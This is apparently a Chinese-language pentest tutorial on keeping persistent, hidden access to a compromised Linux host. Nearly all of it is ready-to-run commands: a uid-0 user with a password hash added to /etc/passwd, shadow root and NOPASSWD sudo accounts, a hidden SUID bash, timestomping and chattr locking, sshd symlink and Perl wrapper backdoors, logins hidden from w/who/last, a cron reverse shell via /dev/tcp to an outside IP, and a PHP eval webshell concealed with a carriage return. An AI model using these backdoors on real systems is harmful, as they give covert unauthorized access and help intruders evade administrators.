Bootstrap

02-Linux系统权限维持

02-Linux系统权限维持

一 创建账号

1 在/etc/passwd中创建root的特权用户

/etc/passwd中数据的格式 账号:密码:uid:gid:描述:家目录:shell解释器,我们可以在/etc/passwd文件中添加一个test账号,密码为password@123(密文advwtv/9yU5yQ),uid为0的root特权用户

echo  'test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash' >> /etc/passwd

2 创建root账号的影子用户

#创建账号
useradd -o -u 0 -g 0 zhangsan
#设置密码
passwd zhangsan

3 创建拥有sudo权限的账号

创建一个普通账号

#创建账号
useradd lisi
#设置密码
passwd lisi

给账号授予sudo权限

#编辑/etc/sudoers文件
visudo
#给lisi授予sudo权限
lisi ALL=(ALL:ALL) NOPASSWD:ALL

验证lisi查看shadow

[root@localhost zhangsan]# su lisi
[lisi@localhost zhangsan]$ sudo cat /etc/shadow

4 普通用户+SUID权限维持

创建一个普通账号

#创建账号
useradd wangwu
#设置密码
passwd wangwu

给命令授予suid权限

cp /bin/bash /bin/....
chmod u+s /bin/....

验证suid权限维持

[root@localhost zhangsan]# su wangwu
[wangwu@localhost zhangsan]$ /bin/.... -p
....-4.2#

二 修改文件的属性

1 修改文件的创建时间

1.1根据时间查找文件
#查找1天内被修改过的文件
find / -mtime -1
#查找1天以前被修改过的文件
find / -mtime +1
#查找30分钟内被修改过的文件
find / -mmin -30
#查找30分钟以前被修改过的文件
find / -mmin +30
1.2 修改文件的创建时间
  • touch -r

#将/bin/bash的最后修改时间复制给/bin/.... 
touch -r /bin/bash /bin/.... 
  • touch -t

#将 /bin/....最后修改时间修改为2021年11月27日12点10分10秒
touch -t    202111271210.10     /bin/....

2 文件上锁,防止用户直接删除文件

2.1 隐藏属性介绍

Linux 系统中的文件和目录,除了可以设定普通权限和特殊权限外,文件和目录具有一些隐藏属性。而chattr 命令,专门用来修改文件或目录的隐藏属性,只有 root 用户可以使用。

chattr [+-=] [属性] 文件或目录名

属性选项功能
i如果对文件设置 i 属性,那么不允许对文件进行删除、改名,也不能添加和修改数据; 如果对目录设置 i 属性,那么只能修改目录下文件中的数据,但不允许建立和删除文件;
a如果对文件设置 a 属性,那么只能在文件中増加数据,但是不能删除和修改数据; 如果对目录设置 a 属性,那么只允许在目录中建立和修改文件,但是不允许删除文件;
u设置此属性的文件或目录,在删除时,其内容会被保存,以保证后期能够恢复,常用来防止意外删除文件或目录。
s和 u 相反,删除文件或目录时,会被彻底删除(直接从硬盘上删除,然后用 0 填充所占用的区域),不可恢复。
2.2 给文件添加隐藏属性

示例:为test.txt文件添加i属性,而后尝试删除该文件,提示无法删除。

[root@localhost ~]# chattr +i text.txt
[root@localhost ~]# rm -rf ./text.txt 
rm: 无法删除"./text.txt": 不允许的操作
2.3查看文件的隐藏属性

使用lsattr可以查看文件的隐藏属性。

[root@localhost ~]# lsattr text.txt
----i----------- text.txt

3 创建隐藏文件

#创建一个隐藏文件.shell
touch /.shell
#创建一个隐藏文件 ...
touch ...
#创建一个隐藏目录 ....
mkdir ....

三 SSH后门

1 软链接后门

#创建sshd的软件
ln -sf /usr/sbin/sshd /tmp/su
#给这个软链接开放一个端口
/tmp/su -oPort=5555

使用ssh协议任意密码登录

image-20241127145939994

2 SSH隐身登录

2.1 查看用户的登录情况
#查看当前登录到系统的所有用户 (tty 本地登录 pts 远程登录)
w,who   
#查看最近所有登录成功的用户信息
last
2.2 SSH隐身登录
ssh -T [email protected] /bin/bash -i

使用这种方式登录后,w,who,last命令看不到登录信息

image-20241127160505045

image-20241127160520441

3 上传公钥,ssh免密登录

4 ssh warpper后门

  1. 该后门需要安装perl,使用命令“ yum install perl -y ”进行安装即可

  2. 构造一个恶意的sshd,具体操作如下:

    cd /usr/sbin/
    mv sshd ../bin/
    
    echo '#!/usr/bin/perl' >sshd
    echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
    echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    
    chmod u+x sshd
    systemctl restart sshd   # 重启sshd服务

    原理:首先启动的是/usr/sbin/sshd,执行到getpeername时,正则匹配会失败,接着执行下一句,启动/usr/bin/sshd(原始sshd)。原sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作,而后子进程又会执行系统默认的位置的/usr/sbin/sshd。此时子进程标准输入输出已被重定向到套接字,若getpeername能真的获取到客户端的TCP源端口且为13377(4A是13377的小端模式),就反回一个shell。

  3. 在kali上使用socat进行连接,指定源端口为13377。

    成功连接,使用w命令看到不到kali在连接此机器,。

    socat STDIO TCP4:192.168.214.129:22,sourceport=13377

    image-20220901164700751

这种后门方式隐蔽性较强,在没有连接的情况下,无法查看到对应的端口和进程,w、last等命令也查不到登录的情况

四 定时任务后门

1 在靶机上创建一个反弹shell定时任务

#编辑定时任务
crontab -e
#添加每分钟执行一次反弹shell的定时任务
*/1 * * * * bash -i >& /dev/tcp/192.168.2.32/6666 0>&1

2 在kali上开启监听

nc -lvnp 6666

image-20241127172717313

五 cat隐藏

使用cat查看文件时,cat能够识别文件中的\r这种特殊符号,当文件中有\r特殊符号时,cat只能看到\r后面的内容

echo -e '<?php eval($_POST[0]);?>\rhelloworld'    >mm.php

;